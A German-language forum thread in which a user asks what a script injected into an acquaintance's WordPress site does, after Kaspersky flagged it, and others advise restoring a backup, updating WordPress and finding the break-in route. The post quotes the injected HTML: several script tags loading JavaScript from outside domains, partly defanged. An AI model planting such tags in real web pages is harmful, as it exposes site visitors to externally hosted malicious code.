Liebe Leute,

ich bin froh, lange nicht mehr hier gewesen zu sein. Lange nichts eingefangen

Heute wurde ich von einem Bekannten angeschrieben, dessen Wordpress-Webseite ich vor langer Zeit aufgesetzt habe.

Sein Kaspersky würde neuerdings anschlagen, wenn er seine Webseite besucht.
Komisch, Windows Defender, Chrome und Avira bleiben bei mir ruhig.

Aber tatsächlich, in zwei Unterseiten fand ich ein Script, was dort nichts verloren hat.
Script entfernt, Kaspersky ruhig.

Frage jetzt: Kann ich mir was eingefangen haben? Scann mit Malewarebytes brachte keinen Fund.

Vielleicht ist ja hier jemand, der sich mit Scripten und HTML auskennt. Folgendes Script habe ich vorgefunden und entfernt.
Was macht es und hat es bei mir als Endanwender/Webseitenbesucher etwas ausgelöst?

<p><script src="//permissnew.com/1cbabfaba9fb0d03cc.js"></script><script src="hxxp://permissnew.com/optout/set/lat?jsonp=__twb_cb_168411711&amp;key=1cbabfaba9fb0d03cc&amp;cv=1535615818&amp;t=1535615818018" type="text/javascript"></script><script src="hxxp://permissnew.com/optout/set/lt?jsonp=__twb_cb_22600740&amp;key=1cbabfaba9fb0d03cc&amp;cv=197950&amp;t=1535615818022" type="text/javascript"></script><script src="hxxp://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52295x7354x&amp;r=1535615818037" type="text/javascript"></script><script src="hxxp://permissnew.com/ext/1cbabfaba9fb0d03cc.js?sid=52295_7354_&amp;title=FF_%5B601%5D_missionewapp.cool&amp;blocks[]=31af2" type="text/javascript"></script></p>

Setz deinen Webserver zurück vom letzen Backup. Und ihr müsst zusehen, dass immer die aktuelle Wordpressversion drin ist.^

Zitat von cosinus

Setz deinen Webserver zurück vom letzen Backup. Und ihr müsst zusehen, dass immer die aktuelle Wordpressversion drin ist.^

Webseite ist wieder sauber. Wordpress immer aktuell.
Frage ist jetzt: Kann mir das Script etwas angehabt haben?
Die üblichen Scans sehen sauber aus. Ich kann aber keine Script-Befehle lesen. Was macht das Ding?

Falsche Frage. Über welche Sicherheitslücke kam der Angreifer auf die Maschine?

Zitat von stefanbecker

Falsche Frage. Über welche Sicherheitslücke kam der Angreifer auf die Maschine?

Warum. Die haben doch auf irgeneinem Rechner Kaspersky oder AVG. Und deswegen wollte der Chef keine weiteren IT-Fuzzies.

Gerhard Eichberger

Zitat von stefanbecker

Falsche Frage. Über welche Sicherheitslücke kam der Angreifer auf die Maschine?

Glaubst Du, daß sich das herausfinden läßt?


Gerhard